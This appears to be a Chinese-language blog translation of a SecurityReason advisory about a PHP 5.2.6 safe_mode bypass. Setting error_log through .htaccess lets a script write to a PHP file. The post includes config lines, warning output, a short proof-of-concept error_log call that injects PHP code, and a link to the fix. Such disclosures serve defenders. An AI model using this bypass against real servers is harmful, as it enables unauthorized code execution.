PHP 5.2.6 safe_mode 中 error_log 的漏洞

今天早上在这里看到的,觉得很有必要记录一下:http://www.milw0rm.com/exploits/7171

一个简单的翻译如下:

- --- 0.描述---
PHP 是 HTML 内嵌脚本语言。多数语法从 C、Java、Perl 借鉴而来,并有一些独特的功能。这个语言的目标是允许 web 开发人员快速的编写动态页面。

error_log

PHP 允许定义自定义错误处理,如修改记录错误的方式。这允许修改并强化错误报告,使其更加适合应用。

- --- 0. error_log 常量. php_admin_flag 引起的漏洞  ---
主要问题在全局使用 safe_mode 中。

php.ini­:
safe_mode = On

或通过 php_admin_flag 定义

<Directory "/www">
...
	php_admin_flag safe_mode On
</Directory>

当创建了一些 php 脚本在 /www/ 中并尝试调用:

ini_set("error_log", "/hack/");

或者在 /www/.htaccess 中

php_value error_log "/hack/bleh.php"

结果:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

这是 safe_mode 定义在 php.ini 中的情形。但是如果使用

php_admin_flag safe_mode On 

在 httpd.conf 中,只会得到

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

.htaccess中的代码

php_value error_log "/hack/blehx.php"

被允许,成为了 safe_mode 的漏洞。

实例:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. 如何修复 ---
在 CVS 中

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

注意:
不要将 safe_mode 作为主要的安全措施。

 --- 3. 致意 ---
sp3x 情报链 p_e_a pi3

- --- 4. 联系 ---
作者: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
邮件: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

Join the Conversation

1 Comment

Leave a comment

Your email address will not be published. Required fields are marked *